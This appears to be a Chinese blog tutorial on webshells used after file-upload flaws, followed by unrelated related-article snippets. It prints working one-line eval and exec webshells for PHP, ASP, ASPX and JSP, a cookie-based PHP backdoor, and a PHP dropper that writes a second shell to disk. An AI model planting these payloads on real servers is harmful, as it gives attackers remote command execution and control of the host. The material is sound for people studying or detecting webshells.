文件上传-Webshell

news2024/9/24 6:24:45

Webshell简介

webshell就是以aspphpjsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页木马后门。
攻击者可通过这种网页后门获得网站服务器操作权限,控制网站服务器以进行上传下载文件、查看数据库、执行命令等…

什么是木马

木马:全称“特洛伊木马( Trojan Horse )指寄宿在计算机里的一种非授权的远程控制程序,它可以在计算机管理员未发觉的请款下”,开放系统权限、泄露用户信息给攻击者,是黑客常用的工具之一。

什么是后门

后门:一台计算机上有65535个端口,每个端口是计算机与外界连接所开启的“门”,每个门都有计算机提供的一些服务,攻击者利用这些服务,获取服务器的权限,给自己进入计算机留下个后门

Webshell分类

1. 根据文件大小分类

一句话木马:代码简短,通常只有一行代码,使用方便
小马: 只包含文件上传功能,体积小
大马:体积大,包含很多功能,代码通常会进行加密隐藏

2.根据脚本类型分类

jsp
asp
aspx
php

Webshell特点

1.webshell大多以动态脚本形式出现
2.webshell就是一个asp或php木马后门
3.webshell可以穿越服务器防火墙,攻击者与被控服务器交换数据都是通过80端口传递
4.webshell一般不会在系统日志中留下记录,只会在web日志中留下数据传递记录

Webshell攻击流程

1.利用web漏洞获取web权限
2.上传小马
3.上传大马
4.远程调用webshell执行命令

常见Webshell

PHP:

<?php eval($_GET[pass]);?> <?php eval($_POST[pass]);?>

ASP:
<%eval request(“pass”)%>
ASPX:
<%@Page Language=“jscript”%><%eval(Request.ltem[“pass”])%>
JSP:
<%Runtime.getRuntime().exec(request.getParmeter(“i”));%>

Webshell基本原理

基本原理

1.可执行脚本
HTTP数据包( $_GET、 $_POST、 $_COOKIES)
2.数据传递
3.执行传递的数据
直接执行( eval、system、passthru )
文件包含执行 (include、require )
动态函数执行( $a = “phpinfo” ; $a() ; )
回调函数 ( array_map等 )

php webshell

GET方式:

<?php eval($_GET[pass]);?>

POST方式:

<?php eval($_POST[pass]);?>

Cookie方式:

<?php @$a=$_COOKIE[1];$b='';$c='';@assert($b.$a);?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以通过webshell来进行远程操作
在这里插入图片描述
在这里插入图片描述

一句话木马写小马

<?php fputs(fopen("up.php","w"),'<?php eval($_POST["cmd"])?>'); ?>

当我们打开这个php网页的时候它就会生成这个木马
在这里插入图片描述
在这里插入图片描述
我们通过对文件内容二次base64编码对up.php编码一次
他就会生产上传文件
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

小马上传大马

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Webshell工具介绍

中国菜刀、cknife、weevely3、中国蚁剑、冰蝎等

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1440327.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

设计模式2-对象池模式

对象池模式&#xff0c;Object Pool Pattern&#xff0c;当你的应用程序需要频繁创建和销毁某种资源&#xff08;比如数据库连接、线程、socket连接等&#xff09;时&#xff0c;Object Pool 设计模式就变得很有用。它通过预先创建一组对象并将它们保存在池中&#xff0c;以便在…

压敏电阻简介

压敏电阻 原理 压敏电阻器是一种具有瞬态电压抑制功能的元件&#xff0c;可以用来代替瞬态抑制二极管、齐纳二极管和电容器的组合。压敏电阻器可以对IC及其它设备的电路进行保护&#xff0c;防止因静电放电、浪涌及其它瞬态电流&#xff08;如雷击等&#xff09;而造成对它们…

什么是GitOps

我的新书《Android App开发入门与实战》已于2020年8月由人民邮电出版社出版&#xff0c;欢迎购买。点击进入详情 GitOps 改变了软件和基础设施的管理方式&#xff0c;以 Git 作为管理和自动化应用程序和基础设施整个生命周期的中心枢纽。 它建立在版本控制、协作以及持续集成和…

axios get 请求 url 转码 空格转成+,导致请求失败(前端解决)

问题 GET 请求参数&#xff1a; URL-encoded 后&#xff1a; 浏览器将空格转成了&#xff0c;导致服务报错&#xff0c;返回 400。 解决 在请求拦截器中&#xff0c;对 params 进行处理。 axios.interceptors.request.use((config) > {let url config.url;if (config…

k8s-项目部署案例

一、容器交付流程 在k8s平台部署项目流程 在K8s部署Java网站项目 DockerFile 如果是http访问&#xff0c;需要在镜像仓库配置可信任IP 三、使用工作负载控制器部署镜像 建议至少配置两个标签 一个是声明项目类型的 一个是项目名称的 继续配置属性 资源配额 健康检查 五、使…

elk之search API

写在前面 本文看下查询相关内容&#xff0c;这也是我们在实际工作中接触的最多的&#xff0c;所以有必要好好学习下&#xff01; 1&#xff1a;查询的分类 主要分为如下2类&#xff1a; 1:基于get查询参数的URI search 2&#xff1a;基于post body的request body search&am…

机器学习1一knn算法

1.基础知识点介绍 曼哈顿距离一般是比欧式距离长的除非在一维空间 拐弯的就是曼哈顿距离 Knn查看前5行数据head()&#xff0c;info看空非空 查看特征对应的类型 Head()默认前5行&#xff0c;head&#xff08;3&#xff09;就是前3行数据 Unique()可以查看分类后的结果 csv的…

《学成在线》微服务实战项目实操笔记系列(P1~P83)【上】

史上最详细《学成在线》项目实操笔记系列【上】&#xff0c;跟视频的每一P对应&#xff0c;全系列12万字&#xff0c;涵盖详细步骤与问题的解决方案。如果你操作到某一步卡壳&#xff0c;参考这篇&#xff0c;相信会带给你极大启发。 一、前期准备 1.1 项目介绍 P2 To C面向…

Leecode之随机链表的复制

一.题目及剖析 https://leetcode.cn/problems/copy-list-with-random-pointer/ 这个题目的意思就是拷贝一份复杂链表,难点在于它的random指针所指向的空间与拷贝下来的链表之间缺少一种联系,当然可以用遍历链表的方式通过value去找那块空间,不过时间复杂度太高. 二.思路引入 …

hook函数——useState

useState useState是React中的一个Hook函数&#xff0c;用于在函数组件中添加状态。基本使用语法如下&#xff1a; const [state, setState] useState(initialState) state&#xff1a;表示当前状态的值setState&#xff1a;更新状态的函数initialState&#xff1a;初始状态…

Java基础(二十四):网络编程

Java基础系列文章 Java基础(一)&#xff1a;语言概述 Java基础(二)&#xff1a;原码、反码、补码及进制之间的运算 Java基础(三)&#xff1a;数据类型与进制 Java基础(四)&#xff1a;逻辑运算符和位运算符 Java基础(五)&#xff1a;流程控制语句 Java基础(六)&#xff1…

[Python] 函数详讲

可莉将这篇博客收录在了&#xff1a;《Python》 可莉推荐的一位优质博主&#xff1a;Keven ’ bloghttp://t.csdnimg.cn/6iwnv 跟着可莉一起学习&#xff0c;一篇文章来带你理解Python中的函数的奥秘~ 一、语法格式 定义函数 def 函数名(形参列表):#函数体return 返回值 调用函…

猫头虎分析:如何利用ChatGPT及生成式AIGC提高工作效率 ‍

博主猫头虎的技术世界 &#x1f31f; 欢迎来到猫头虎的博客 — 探索技术的无限可能&#xff01; 专栏链接&#xff1a; &#x1f517; 精选专栏&#xff1a; 《面试题大全》 — 面试准备的宝典&#xff01;《IDEA开发秘籍》 — 提升你的IDEA技能&#xff01;《100天精通鸿蒙》 …

小区创业项目推荐:小投资大回报的店铺类型

作为一位拥有5年鲜奶吧创业经验的自媒体博主&#xff0c;我深知在小区内寻找一个既小投资又能带来大回报的创业项目是多么重要。今天&#xff0c;我要为大家推荐的&#xff0c;正是这样一个项目——鲜奶吧。 一、鲜奶吧&#xff1a;小区内的健康食品新宠 随着健康饮食观念的深…

【SpringBoot】JWT令牌

&#x1f4dd;个人主页&#xff1a;五敷有你 &#x1f525;系列专栏&#xff1a;SpringBoot ⛺️稳重求进&#xff0c;晒太阳 什么是JWT JWT简称JSON Web Token&#xff0c;也就是通过JSON形式作为Web应用的令牌&#xff0c;用于各方面之间安全的将信息作为JSON对象传输…

mac终端怎么恢复初始设置?图文教程不想看看吗?

某网友说“不小心把终端弄成了这样&#xff1f;请问该怎么办呢&#xff1f;mac终端怎么恢复初始设置&#xff1f;” 其实&#xff0c;这个问题不难&#xff0c;在终端中选择【还原初始值】即可。 Mac终端初始化具体怎么操作&#xff1f;话不多说&#xff0c;图文教程分享给大…

10个简单有效的编辑PDF文件工具分享

10个编辑PDF文件工具作为作家、编辑或专业人士&#xff0c;您可能经常发现自己在处理 PDF 文件。无论您是审阅文档、创建报告还是与他人共享工作&#xff0c;拥有一个可靠的 PDF 编辑器供您使用都非常重要。 10个简单适用的编辑PDF文件工具 在本文中&#xff0c;我们将介绍当今…

前端学习之路(6) npm详解

npm 是什么&#xff1f; npm&#xff08;node package manager&#xff09;&#xff1a;node.js 的包管理器&#xff0c;用于node插件管理&#xff08;包括安装、卸载、管理依赖等&#xff09; &#xff0c;npm 是随同 node.js 一起安装的包管理工具&#xff0c;能解决 node.j…

Redis 基本认识

文章目录 Redis八个特性Redis应用场景Redis应用缺陷Redis使用流程 Redis八个特性 速度快 原因: ① 单线程&#xff0c;避免了多线程竞争(如加锁/解锁)的时间开销 ② redis的数据存放在内存中 ③ 使用C语言编写&#xff0c;C语言更方便操做硬件 ④ Redis 源码优秀 利用键值对存…

新手指南:Postman 旧版本(历史版本)下载

随着技术的不断发展&#xff0c;有时候我们发现自己需要退回到使用 Postman 某个以往的版本。这篇文章旨在指导你如何安全地移除当前版本的 Postman、查找并获取旧版本。 从你的系统中移除 Postman 为了确保旧版本的 Postman 可以无障碍地安装&#xff0c;首先得从你的系统中…